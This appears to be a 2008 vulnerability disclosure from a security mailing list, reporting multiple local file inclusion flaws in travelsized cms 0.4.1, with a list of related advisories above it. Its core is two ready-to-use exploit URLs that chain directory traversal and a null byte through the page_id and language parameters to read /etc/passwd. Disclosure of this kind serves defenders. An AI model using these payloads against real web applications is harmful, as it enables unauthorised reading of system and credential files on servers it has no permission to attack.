Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Directory traversal in EdiorCMS V3.0

XSS in PHP-Nuke (eWeather module)

Powered by phpBB 2001, 2006 (SQL)

uberghey cms 0.3.1 multiple local file inclusion vulnerabilities

From:	muuratsalo experimental hack lab <muuratsalo_(at)_gmail.com>
Date:	13.03.2008
Subject:	travelsized cms 0.4.1 multiple local file inclusion vulnerabilities

travelsized cms 0.4.1 multiple local file inclusion vulnerabilities

download   http://sourceforge.net/projects/uberghey/

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits
http://localhost/travelsized-0.4.1/index.php?page_id=../../../../../../../../../.
./etc/passwd%00
http://localhost/travelsized-0.4.1/index.php?language=../../../../../../../../..
/../etc/passwd%00